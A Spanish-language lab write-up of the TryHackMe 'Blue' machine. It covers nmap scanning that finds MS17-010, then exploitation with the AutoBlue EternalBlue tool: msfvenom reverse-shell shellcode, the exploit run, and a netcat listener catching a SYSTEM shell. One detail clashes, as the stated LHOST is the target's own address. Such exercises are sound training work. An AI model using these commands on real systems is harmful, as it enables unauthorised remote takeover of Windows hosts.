Informe Tecnico

Room Blue

29 de Octubre del 2020

Indice

1. Antecendentes

El presente documento recoge los resultados obtenidos durante la fase de auditoria realizada a la maquina **Blue** de la plataforma **Tryhackme**.

2. Analisis de vulnerabilidades

2.1. Reconocimiento inicial

Se comenzo realizando un analisis inicial sobre el sistema, verificando que el sistema objetivo se encontrara accesible desde el segmento de red en el que se opera:

`ping -c5 ip`

```
PING 10.10.52.1 (10.10.52.1) 56(84) bytes of data.
64 bytes from 10.10.52.1: icmp_seq=1 ttl=125 time=341 ms
64 bytes from 10.10.52.1: icmp_seq=2 ttl=125 time=339 ms
64 bytes from 10.10.52.1: icmp_seq=3 ttl=125 time=341 ms
64 bytes from 10.10.52.1: icmp_seq=4 ttl=125 time=335 ms
64 bytes from 10.10.52.1: icmp_seq=5 ttl=125 time=341 ms
```

2.2. Reconocimento por Servicios

Una vez localizado, se realizo un escaneo a traves de la herramienta **nmap** para la deteccion de puertos abiertos.

`nmap -p- -n`

```
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown
```

Una vez identificado los puertos utilizamos los scripts de nmap que nos permiten ver las posibles vulnerabilidades del sistemas.

```
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (
ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Mic
rosoft SMBv1
|         servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-01
0.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer
-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

3. Explotacion

Para esta explotacion usamos la herramienta Autoblue

`https://github.com/3ndG4me/AutoBlue-MS17-010`

3.1. Crear shellcode

Con estos comandos se crean dos shellcodes(para la arquitectura x86 y x64) para el script a partir de sus herramientas de reconocimiento va a identificar una y con el puerto que le indiques para cada arquitectura se generar conexion.

```
Let's compile them windoos shellcodezzz

Compiling x64 kernel shellcode
Compiling x86 kernel shellcode
kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
Y
LHOST for reverse connection:
10.10.52.1
LPORT you want x64 to listen on:
4444
LPORT you want x86 to listen on:
5555
Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
1
Type 0 to generate a staged payload or 1 to generate a stageless payload
1
Generating x64 cmd shell (stageless)...

msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.52.1 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: sc_x64_msf.bin

Generating x86 cmd shell (stageless)...

msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.52.1 LPORT=5555
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Saved as: sc_x86_msf.bin

MERGING SHELLCODE WOOOO!!!
```

3.2. Obteniendo acceso

antes de correr el exploit ponemos nuestros puertos indicados a la escucha y esperamos.

```
> python3 eternalblue_exploit7.py 10.10.52.1 shellcode/sc_all.b
in
shellcode size: 2203
numGroomConn: 13
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
```

```
> rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.2.46.162] from (UNKNOWN) [10.10.52.1] 49170
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```

y como se puede ver en esta imagen la vulnerabilidad EternalBlue nos autentica como root.

```
C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```